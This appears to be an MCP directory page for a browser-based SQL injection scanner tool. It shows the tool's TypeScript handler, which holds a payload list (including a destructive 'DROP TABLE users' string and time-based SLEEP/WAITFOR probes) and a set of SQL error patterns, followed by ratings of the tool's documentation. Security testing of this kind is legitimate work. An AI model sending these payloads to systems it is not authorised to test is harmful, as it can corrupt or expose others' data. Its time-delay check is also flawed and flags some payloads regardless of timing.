Skip to main content
Glama

browser_url_sql_injection

Test URLs for SQL injection vulnerabilities by analyzing parameter inputs to identify potential security risks in web applications.

Instructions

Test whether the URL has SQL injection vulnerabilities

Input Schema

TableJSON Schema
NameRequiredDescriptionDefault
urlYes
paramNameNoParameter name for SQL injection testing

Implementation Reference

  • Handler function that tests the provided URL for SQL injection vulnerabilities by appending various SQL payloads to the specified parameter, navigating to the test URLs, and checking for SQL error patterns, response content differences, and time-based delays.
    case ToolName.BrowserUrlSqlInjection: {
      const baseUrl = args.url;
      const paramName = args.paramName || 'id';
      const sqlPayloads = [
        "1' OR '1'='1",
        "1' OR '1'='1' --",
        "1' OR '1'='1' #",
        "1; DROP TABLE users--",
        "1 UNION SELECT null,null,null--",
        "1' UNION SELECT null,null,null--",
        "admin' --",
        "admin' #",
        "' OR 1=1--",
        "' OR 'x'='x",
        "1' AND SLEEP(5)--",
        "1' AND BENCHMARK(5000000,MD5(1))--",
        "1' WAITFOR DELAY '0:0:5'--"
      ];
      
      let vulnerablePayloads = [];
      let originalResponse = '';
      
      try {
        // 首先获取原始响应
        await page.goto(baseUrl);
        originalResponse = await page.content();
      } catch (error) {
        console.error(`Error getting original response: ${error}`);
      }
      
      for (const payload of sqlPayloads) {
        const encodedPayload = encodeURIComponent(payload);
        const testUrl = `${baseUrl}${baseUrl.includes('?') ? '&' : '?'}${paramName}=${encodedPayload}`;
        
        try {
          const startTime = Date.now();
          await page.goto(testUrl);
          const endTime = Date.now();
          const responseTime = endTime - startTime;
          
          const newResponse = await page.content();
          
          // 检查SQL错误关键字
          const sqlErrorPatterns = [
            /SQL syntax/i,
            /MySQL/i,
            /ORA-[0-9][0-9][0-9][0-9]/,
            /PostgreSQL/i,
            /SQLite/i,
            /SQLSTATE/,
            /Microsoft SQL/i,
            /ODBC Driver/i,
            /DB2 SQL/i,
            /Warning.*mysql_/i,
            /Warning.*pg_/i,
            /Warning.*sqlite_/i
          ];
          
          const hasError = sqlErrorPatterns.some(pattern => pattern.test(newResponse));
          
          // 检查响应差异
          const isDifferent = originalResponse !== newResponse;
          
          // 检查时间延迟(针对基于时间的注入)
          const hasTimeDelay = responseTime > 5000 && payload.toLowerCase().includes('sleep') || 
                             payload.toLowerCase().includes('benchmark') || 
                             payload.toLowerCase().includes('waitfor');
          
          if (hasError || isDifferent || hasTimeDelay) {
            vulnerablePayloads.push({
              payload: payload,
              url: testUrl,
              reason: [
                hasError ? '发现SQL错误信息' : '',
                isDifferent ? '响应内容发生变化' : '',
                hasTimeDelay ? '发现时间延迟' : ''
              ].filter(Boolean).join(', ')
            });
          }
        } catch (error) {
          console.error(`Error testing payload ${payload}: ${error}`);
        }
      }
      
      if (vulnerablePayloads.length > 0) {
        return {
          content: [{
            type: "text",
            text: `发现潜在的SQL注入漏洞!\n\n可能的漏洞点:\n${vulnerablePayloads.map(v => 
              `Payload: ${v.payload}\nURL: ${v.url}\n原因: ${v.reason}\n`
            ).join('\n')}`
          }],
          isError: false
        };
      } else {
        return {
          content: [{
            type: "text",
            text: "未发现明显的SQL注入漏洞。"
          }],
          isError: false
        };
      }
    }
  • Input schema defining the parameters for the browser_url_sql_injection tool: url (required) and optional paramName.
      inputSchema: {
        type: "object",
        properties: {
          url: { type: "string" },
          paramName: { type: "string", description: "Parameter name for SQL injection testing" },
        },
        required: ["url"],
      },
    },
  • index.ts:166-178 (registration)
    Tool registration in the TOOLS array, including name, description, and input schema.
      {
        name: ToolName.BrowserUrlSqlInjection,
        description: "Test whether the URL has SQL injection vulnerabilities",
        inputSchema: {
          type: "object",
          properties: {
            url: { type: "string" },
            paramName: { type: "string", description: "Parameter name for SQL injection testing" },
          },
          required: ["url"],
        },
      },
    ];
  • Enum constant defining the tool name string.
    BrowserUrlSqlInjection = "browser_url_sql_injection"
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It states the tool tests for vulnerabilities but lacks details on how it performs the test (e.g., automated scanning, manual input), what the output looks like, potential side effects (e.g., whether it modifies the target), or error handling. This is inadequate for a security testing tool.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single, clear sentence with no wasted words. It is front-loaded and efficiently conveys the core purpose without unnecessary elaboration.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness2/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the complexity of SQL injection testing, lack of annotations, no output schema, and incomplete parameter documentation, the description is insufficient. It does not explain what results to expect, how to interpret them, or any limitations, making it incomplete for effective tool use.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 50%, with only 'paramName' having a description. The description adds no parameter-specific information beyond the tool's general purpose. It implies testing involves a URL and possibly a parameter, but does not clarify the role of 'paramName' or provide examples. Baseline 3 is appropriate as the schema covers half the parameters, but the description does not compensate for the gap.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: 'Test whether the URL has SQL injection vulnerabilities.' It specifies the verb ('Test') and resource ('URL'), but does not explicitly differentiate it from sibling tools like 'broser_url_reflected_xss' (likely a typo for 'browser_url_reflected_xss'), which tests for a different vulnerability type.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides no guidance on when to use this tool versus alternatives. It does not mention prerequisites, context, or exclusions, such as when to choose this over other vulnerability testing tools or general browser interaction tools in the sibling list.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Install Server

Other Tools

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/9olidity/MCP-Server-Pentest'

If you have feedback or need assistance with the MCP directory API, please join our Discord server